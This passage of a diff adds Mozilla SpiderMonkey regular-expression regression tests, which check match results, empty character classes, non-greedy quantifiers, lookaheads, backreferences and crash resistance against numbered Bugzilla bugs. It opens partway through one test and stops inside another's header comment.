+addThis();
+
+status = inSection(221);
+pattern = /abb\z/;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(222);
+pattern = /abb$/;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(223);
+pattern = /abb\Z/;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(224);
+pattern = /abb\z/;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(225);
+pattern = /abb$/;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(226);
+pattern = /abb\Z/;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(227);
+pattern = /abb\z/;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(228);
+pattern = /abb$/;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(229);
+pattern = /abb\Z/m;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(230);
+pattern = /abb\z/m;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(231);
+pattern = /abb$/m;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(232);
+pattern = /abb\Z/m;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(233);
+pattern = /abb\z/m;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(234);
+pattern = /abb$/m;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(235);
+pattern = /abb\Z/m;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(236);
+pattern = /abb\z/m;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(237);
+pattern = /abb$/m;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(238);
+pattern = /a*abc?xyz+pqr{3}ab{2,}xy{4,5}pq{0,6}AB{0,}zz/;
+string = 'x';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(239);
+pattern = /\GX.*X/;
+string = 'aaaXbX';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(240);
+pattern = /\.c(pp|xx|c)?$/i;
+string = 'Changes';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(241);
+pattern = /^([a-z]:)/;
+string = 'C:/';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(242);
+pattern = /(\w)?(abc)\1b/;
+string = 'abcab';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+/* ECMA doesn't support (?(
+ status = inSection(243);
+ pattern = /^(a)?(?(1)a|b)+$/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+*/
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ if(omitCurrentSection())
+ return;
+
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function omitCurrentSection()
+{
+ try
+ {
+ // current section number is in global status variable
+ var n = status.match(/(\d+)/)[1];
+ return ((n < cnLBOUND) || (n > cnUBOUND));
+ }
+ catch(e)
+ {
+ return false;
+ }
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/RegExp/regress-100199.js b/js/src/tests/ecma_3/RegExp/regress-100199.js
new file mode 100644
index 000000000..2c162677b
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-100199.js
@@ -0,0 +1,273 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 17 September 2001
+ *
+ * SUMMARY: Regression test for Bugzilla bug 100199
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=100199
+ *
+ * The empty character class [] is a valid RegExp construct: the condition
+ * that a given character belong to a set containing no characters. As such,
+ * it can never be met and is always FALSE. Similarly, [^] is a condition
+ * that matches any given character and is always TRUE.
+ *
+ * Neither one of these conditions should cause syntax errors in a RegExp.
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 100199;
+var summary = '[], [^] are valid RegExp conditions. Should not cause errors -';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+pattern = /[]/;
+string = 'abc';
+status = inSection(1);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = '';
+status = inSection(2);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = '[';
+status = inSection(3);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = '/';
+status = inSection(4);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = '[';
+status = inSection(5);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = ']';
+status = inSection(6);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = '[]';
+status = inSection(7);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = '[ ]';
+status = inSection(8);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = '][';
+status = inSection(9);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+
+pattern = /a[]/;
+string = 'abc';
+status = inSection(10);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = '';
+status = inSection(11);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = 'a[';
+status = inSection(12);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = 'a[]';
+status = inSection(13);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = '[';
+status = inSection(14);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = ']';
+status = inSection(15);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = '[]';
+status = inSection(16);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = '[ ]';
+status = inSection(17);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = '][';
+status = inSection(18);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+
+pattern = /[^]/;
+string = 'abc';
+status = inSection(19);
+actualmatch = string.match(pattern);
+expectedmatch = Array('a');
+addThis();
+
+string = '';
+status = inSection(20);
+actualmatch = string.match(pattern);
+expectedmatch = null; //there are no characters to test against the condition
+addThis();
+
+string = '\/';
+status = inSection(21);
+actualmatch = string.match(pattern);
+expectedmatch = Array('/');
+addThis();
+
+string = '\[';
+status = inSection(22);
+actualmatch = string.match(pattern);
+expectedmatch = Array('[');
+addThis();
+
+string = '[';
+status = inSection(23);
+actualmatch = string.match(pattern);
+expectedmatch = Array('[');
+addThis();
+
+string = ']';
+status = inSection(24);
+actualmatch = string.match(pattern);
+expectedmatch = Array(']');
+addThis();
+
+string = '[]';
+status = inSection(25);
+actualmatch = string.match(pattern);
+expectedmatch = Array('[');
+addThis();
+
+string = '[ ]';
+status = inSection(26);
+actualmatch = string.match(pattern);
+expectedmatch = Array('[');
+addThis();
+
+string = '][';
+status = inSection(27);
+actualmatch = string.match(pattern);
+expectedmatch = Array(']');
+addThis();
+
+
+pattern = /a[^]/;
+string = 'abc';
+status = inSection(28);
+actualmatch = string.match(pattern);
+expectedmatch = Array('ab');
+addThis();
+
+string = '';
+status = inSection(29);
+actualmatch = string.match(pattern);
+expectedmatch = null; //there are no characters to test against the condition
+addThis();
+
+string = 'a[';
+status = inSection(30);
+actualmatch = string.match(pattern);
+expectedmatch = Array('a[');
+addThis();
+
+string = 'a]';
+status = inSection(31);
+actualmatch = string.match(pattern);
+expectedmatch = Array('a]');
+addThis();
+
+string = 'a[]';
+status = inSection(32);
+actualmatch = string.match(pattern);
+expectedmatch = Array('a[');
+addThis();
+
+string = 'a[ ]';
+status = inSection(33);
+actualmatch = string.match(pattern);
+expectedmatch = Array('a[');
+addThis();
+
+string = 'a][';
+status = inSection(34);
+actualmatch = string.match(pattern);
+expectedmatch = Array('a]');
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/RegExp/regress-105972.js b/js/src/tests/ecma_3/RegExp/regress-105972.js
new file mode 100644
index 000000000..4d08fa447
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-105972.js
@@ -0,0 +1,123 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 22 October 2001
+ *
+ * SUMMARY: Regression test for Bugzilla bug 105972:
+ * "/^.*?$/ will not match anything"
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=105972
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 105972;
+var summary = 'Regression test for Bugzilla bug 105972';
+var cnEmptyString = '';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+/*
+ * The bug: this match was coming up null in Rhino and SpiderMonkey.
+ * It should match the whole string. The reason:
+ *
+ * The * operator is greedy, but *? is non-greedy: it will stop
+ * at the simplest match it can find. But the pattern here asks us
+ * to match till the end of the string. So the simplest match must
+ * go all the way out to the end, and *? has no choice but to do it.
+ */
+status = inSection(1);
+pattern = /^.*?$/;
+string = 'Hello World';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string);
+addThis();
+
+
+/*
+ * Leave off the '$' condition - here we expect the empty string.
+ * Unlike the above pattern, we don't have to match till the end of
+ * the string, so the non-greedy operator *? doesn't try to...
+ */
+status = inSection(2);
+pattern = /^.*?/;
+string = 'Hello World';
+actualmatch = string.match(pattern);
+expectedmatch = Array(cnEmptyString);
+addThis();
+
+
+/*
+ * Try '$' combined with an 'or' operator.
+ *
+ * The operator *? will consume the string from left to right,
+ * attempting to satisfy the condition (:|$). When it hits ':',
+ * the match will stop because the operator *? is non-greedy.
+ *
+ * The submatch $1 = (:|$) will contain the ':'
+ */
+status = inSection(3);
+pattern = /^.*?(:|$)/;
+string = 'Hello: World';
+actualmatch = string.match(pattern);
+expectedmatch = Array('Hello:', ':');
+addThis();
+
+
+/*
+ * Again, '$' combined with an 'or' operator.
+ *
+ * The operator * will consume the string from left to right,
+ * attempting to satisfy the condition (:|$). When it hits ':',
+ * the match will not stop since * is greedy. The match will
+ * continue until it hits $, the end-of-string boundary.
+ *
+ * The submatch $1 = (:|$) will contain the empty string
+ * conceived to exist at the end-of-string boundary.
+ */
+status = inSection(4);
+pattern = /^.*(:|$)/;
+string = 'Hello: World';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, cnEmptyString);
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/RegExp/regress-119909.js b/js/src/tests/ecma_3/RegExp/regress-119909.js
new file mode 100644
index 000000000..f0d3d08f0
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-119909.js
@@ -0,0 +1,58 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 14 Jan 2002
+ * SUMMARY: Shouldn't crash on regexps with many nested parentheses
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=119909
+ *
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 119909;
+var summary = "Shouldn't crash on regexps with many nested parentheses";
+var NO_BACKREFS = false;
+var DO_BACKREFS = true;
+
+
+//--------------------------------------------------
+test();
+//--------------------------------------------------
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ testThis(500, NO_BACKREFS, 'hello', 'goodbye');
+ testThis(500, DO_BACKREFS, 'hello', 'goodbye');
+
+ reportCompare('No Crash', 'No Crash', '');
+
+ exitFunc('test');
+}
+
+
+/*
+ * Creates a regexp pattern like (((((((((hello)))))))))
+ * and tests str.search(), str.match(), str.replace()
+ */
+function testThis(numParens, doBackRefs, strOriginal, strReplace)
+{
+ var openParen = doBackRefs? '(' : '(?:';
+ var closeParen = ')';
+ var pattern = '';
+
+ for (var i=0; i<numParens; i++) {pattern += openParen;}
+ pattern += strOriginal;
+ for (i=0; i<numParens; i++) {pattern += closeParen;}
+ var re = new RegExp(pattern);
+
+ var res = strOriginal.search(re);
+ res = strOriginal.match(re);
+ res = strOriginal.replace(re, strReplace);
+}
diff --git a/js/src/tests/ecma_3/RegExp/regress-122076.js b/js/src/tests/ecma_3/RegExp/regress-122076.js
new file mode 100644
index 000000000..d4b16dbd9
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-122076.js
@@ -0,0 +1,76 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 12 Feb 2002
+ * SUMMARY: Don't crash on invalid regexp literals / \\/ /
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=122076
+ * The function checkURL() below sometimes caused a compile-time error:
+ *
+ * SyntaxError: unterminated parenthetical (:
+ *
+ * However, sometimes it would cause a crash instead. The presence of
+ * other functions below is merely fodder to help provoke the crash.
+ * The constant |STRESS| is number of times we'll try to crash on this.
+ *
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 122076;
+var summary = "Don't crash on invalid regexp literals / \\/ /";
+var STRESS = 10;
+var sEval = '';
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+
+sEval += 'function checkDate()'
+sEval += '{'
+sEval += 'return (this.value.search(/^[012]?\d\/[0123]?\d\/[0]\d$/) != -1);'
+sEval += '}'
+
+sEval += 'function checkDNSName()'
+sEval += '{'
+sEval += ' return (this.value.search(/^([\w\-]+\.)+([\w\-]{2,3})$/) != -1);'
+sEval += '}'
+
+sEval += 'function checkEmail()'
+sEval += '{'
+sEval += ' return (this.value.search(/^([\w\-]+\.)*[\w\-]+@([\w\-]+\.)+([\w\-]{2,3})$/) != -1);'
+sEval += '}'
+
+sEval += 'function checkHostOrIP()'
+sEval += '{'
+sEval += ' if (this.value.search(/^([\w\-]+\.)+([\w\-]{2,3})$/) == -1)'
+sEval += ' return (this.value.search(/^[1-2]?\d{1,2}\.[1-2]?\d{1,2}\.[1-2]?\d{1,2}\.[1-2]?\d{1,2}$/) != -1);'
+sEval += ' else'
+sEval += ' return true;'
+sEval += '}'
+
+sEval += 'function checkIPAddress()'
+sEval += '{'
+sEval += ' return (this.value.search(/^[1-2]?\d{1,2}\.[1-2]?\d{1,2}\.[1-2]?\d{1,2}\.[1-2]?\d{1,2}$/) != -1);'
+sEval += '}'
+
+sEval += 'function checkURL()'
+sEval += '{'
+sEval += ' return (this.value.search(/^(((https?)|(ftp)):\/\/([\-\w]+\.)+\w{2,4}(\/[%\-\w]+(\.\w{2,})?)*(([\w\-\.\?\\/\*\$+@&#;`~=%!]*)(\.\w{2,})?)*\/?)$/) != -1);'
+sEval += '}'
+
+
+for (var i=0; i<STRESS; i++)
+{
+ try
+ {
+ eval(sEval);
+ }
+ catch(e)
+ {
+ }
+}
+
+reportCompare('No Crash', 'No Crash', '');
diff --git a/js/src/tests/ecma_3/RegExp/regress-123437.js b/js/src/tests/ecma_3/RegExp/regress-123437.js
new file mode 100644
index 000000000..e3791d32e
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-123437.js
@@ -0,0 +1,78 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 04 Feb 2002
+ * SUMMARY: regexp backreferences must hold |undefined| if not used
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=123437 (SpiderMonkey)
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=123439 (Rhino)
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 123437;
+var summary = 'regexp backreferences must hold |undefined| if not used';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+pattern = /(a)?a/;
+string = 'a';
+status = inSection(1);
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', undefined);
+addThis();
+
+pattern = /a|(b)/;
+string = 'a';
+status = inSection(2);
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', undefined);
+addThis();
+
+pattern = /(a)?(a)/;
+string = 'a';
+status = inSection(3);
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', undefined, 'a');
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/RegExp/regress-165353.js b/js/src/tests/ecma_3/RegExp/regress-165353.js
new file mode 100644
index 000000000..ba5acc15b
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-165353.js
@@ -0,0 +1,88 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 31 August 2002
+ * SUMMARY: RegExp conformance test
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=165353
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 165353;
+var summary = 'RegExp conformance test';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+pattern = /^([a-z]+)*[a-z]$/;
+status = inSection(1);
+string = 'a';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', undefined);
+addThis();
+
+status = inSection(2);
+string = 'ab';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ab', 'a');
+addThis();
+
+status = inSection(3);
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc', 'ab');
+addThis();
+
+
+string = 'www.netscape.com';
+status = inSection(4);
+pattern = /^(([a-z]+)*[a-z]\.)+[a-z]{2,}$/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('www.netscape.com', 'netscape.', 'netscap');
+addThis();
+
+// add one more capturing parens to the previous regexp -
+status = inSection(5);
+pattern = /^(([a-z]+)*([a-z])\.)+[a-z]{2,}$/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('www.netscape.com', 'netscape.', 'netscap', 'e');
+addThis();
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/RegExp/regress-169497.js b/js/src/tests/ecma_3/RegExp/regress-169497.js
new file mode 100644
index 000000000..82959640b
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-169497.js
@@ -0,0 +1,71 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 31 August 2002
+ * SUMMARY: RegExp conformance test
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=169497
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 169497;
+var summary = 'RegExp conformance test';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var sBody = '';
+var sHTML = '';
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+sBody += '<body onXXX="alert(event.type);">\n';
+sBody += '<p>Kibology for all<\/p>\n';
+sBody += '<p>All for Kibology<\/p>\n';
+sBody += '<\/body>';
+
+sHTML += '<html>\n';
+sHTML += sBody;
+sHTML += '\n<\/html>';
+
+status = inSection(1);
+string = sHTML;
+pattern = /<body.*>((.*\n?)*?)<\/body>/i;
+actualmatch = string.match(pattern);
+expectedmatch = Array(sBody, '\n<p>Kibology for all</p>\n<p>All for Kibology</p>\n', '<p>All for Kibology</p>\n');
+addThis();
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/RegExp/regress-169534.js b/js/src/tests/ecma_3/RegExp/regress-169534.js
new file mode 100644
index 000000000..7c9d62135
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-169534.js
@@ -0,0 +1,61 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 20 Sep 2002
+ * SUMMARY: RegExp conformance test
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=169534
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 169534;
+var summary = 'RegExp conformance test';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+status = inSection(1);
+var re = /(\|)([\w\x81-\xff ]*)(\|)([\/a-z][\w:\/\.]*\.[a-z]{3,4})(\|)/ig;
+var str = "To sign up click |here|https://www.xxxx.org/subscribe.htm|";
+actual = str.replace(re, '<a href="$4">$2</a>');
+expect = 'To sign up click <a href="https://www.xxxx.org/subscribe.htm">here</a>';
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/RegExp/regress-187133.js b/js/src/tests/ecma_3/RegExp/regress-187133.js
new file mode 100644
index 000000000..032b801fe
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-187133.js
@@ -0,0 +1,108 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 06 January 2003
+ * SUMMARY: RegExp conformance test
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=187133
+ *
+ * The tests here employ the regular expression construct:
+ *
+ * (?!pattern)
+ *
+ * This is a "zero-width lookahead negative assertion".
+ * From the Perl documentation:
+ *
+ * For example, /foo(?!bar)/ matches any occurrence
+ * of 'foo' that isn't followed by 'bar'.
+ *
+ * It is "zero-width" means that it does not consume any characters and that
+ * the parens are non-capturing. A non-null match array in the example above
+ * will have only have length 1, not 2.
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 187133;
+var summary = 'RegExp conformance test';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+pattern = /(\.(?!com|org)|\/)/;
+status = inSection(1);
+string = 'ah.info';
+actualmatch = string.match(pattern);
+expectedmatch = ['.', '.'];
+addThis();
+
+status = inSection(2);
+string = 'ah/info';
+actualmatch = string.match(pattern);
+expectedmatch = ['/', '/'];
+addThis();
+
+status = inSection(3);
+string = 'ah.com';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+
+pattern = /(?!a|b)|c/;
+status = inSection(4);
+string = '';
+actualmatch = string.match(pattern);
+expectedmatch = [''];
+addThis();
+
+status = inSection(5);
+string = 'bc';
+actualmatch = string.match(pattern);
+expectedmatch = [''];
+addThis();
+
+status = inSection(6);
+string = 'd';
+actualmatch = string.match(pattern);
+expectedmatch = [''];
+addThis();
+
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/RegExp/regress-188206.js b/js/src/tests/ecma_3/RegExp/regress-188206.js
new file mode 100644
index 000000000..506bdc9eb
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-188206.js
@@ -0,0 +1,185 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 21 January 2003
+ * SUMMARY: Invalid use of regexp quantifiers should generate SyntaxErrors
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=188206
+ * and http://bugzilla.mozilla.org/show_bug.cgi?id=85721#c48 etc.
+ * and http://bugzilla.mozilla.org/show_bug.cgi?id=190685
